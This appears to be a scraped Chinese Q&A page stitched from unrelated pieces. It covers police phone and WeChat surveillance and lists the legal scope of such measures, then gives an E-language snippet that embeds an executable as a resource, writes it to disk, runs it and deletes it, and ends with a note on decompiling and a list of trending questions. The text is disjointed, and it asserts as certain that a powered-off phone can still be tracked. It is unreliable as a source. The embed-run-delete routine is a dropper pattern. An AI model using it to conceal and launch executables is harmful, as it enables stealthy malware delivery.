4、如果微信內容已經涉及了刑事案件,特別是重要的刑事案件偵查線索,縣級以上公安機關是可以對這個手機號碼採取技術偵查手段的。
5、這個方式是一定可以追蹤你手機的位置信息的,既便是關機也沒有任何作用,還是能追蹤到,並且還可以監聽你的通話,攔截你的微信。
6、在公安局啟動技術偵查手段之前的一定時間內,你的通話內容和微信內容無論是收還是發都全部會被保存到一個為了提供通信服務公司的計算機上,因此要查出簡訊內容和通話內容是完全可以的。
(8)易語言源碼吧擴展閱讀
根據公安機關辦理刑事案件程序規定第254條,技術偵查措施適用的范圍為以下案件:
1、危害國家安全犯罪、恐怖活動犯罪、黑社會性質的組織犯罪、重大毒品犯罪案件。
2、故意殺人、故意傷害致人重傷或者死亡、強奸、搶劫、綁架、放火、爆炸、投放危險物質等嚴重暴力犯罪案件。
3、集團性、系列性、跨區域性重大犯罪案件。
4、利用電信、計算機網路、寄遞渠道等實施的重大犯罪案件,以及針對計算機網路實施的重大犯罪案件。
5、其他嚴重危害社會的犯罪案件,依法可能判處七年以上有期徒刑的。
6、公安機關追捕被通緝或者批准、決定逮捕的在逃的犯罪嫌疑人、被告人,可以採取追捕所必需的技術偵查措施。

I. 易語言源碼工具箱源碼

製作方案:
准備一個要載入工具箱的exe
新建個易語言程序,進入易語言-插入-資源-圖片或圖片組
將圖片1改為exe
雙擊內容
導入新圖片
然後載入exe
回到啟動窗口,新建個按鈕,按鈕輸入代碼:
寫到文件("D:\臨時調試文件.exe",#exe)
運行("D:\臨時調試文件.exe")
刪除文件("D:\臨時調試文件.exe")
然後調試程序,點擊那個按鈕,你會發現剛才載入的exe運行了!

J. 易語言的程序破解之後能拿到源碼嗎

不可以通過破解來獲取源碼。即使是沒有加密的程序都不可能拿到源碼

熱點內容
諾安成長與鑫靈活配置哪個好 發布:2025-01-31 19:58:54 瀏覽:604
b樹磁碟存儲 發布:2025-01-31 19:42:53 瀏覽:837
聯想小新air15怎麼配置環境 發布:2025-01-31 19:06:57 瀏覽:968
什麼配置玩3a 發布:2025-01-31 19:05:22 瀏覽:586
phpoa系統 發布:2025-01-31 18:58:42 瀏覽:10
值e的編程 發布:2025-01-31 18:57:06 瀏覽:977
安卓手機的軟體認證在哪裡 發布:2025-01-31 18:57:01 瀏覽:535
android彈出來 發布:2025-01-31 18:56:56 瀏覽:232
辦公室白領新解壓方法 發布:2025-01-31 18:55:23 瀏覽:558
摩斯密碼短長是什麼意思 發布:2025-01-31 18:50:17 瀏覽:587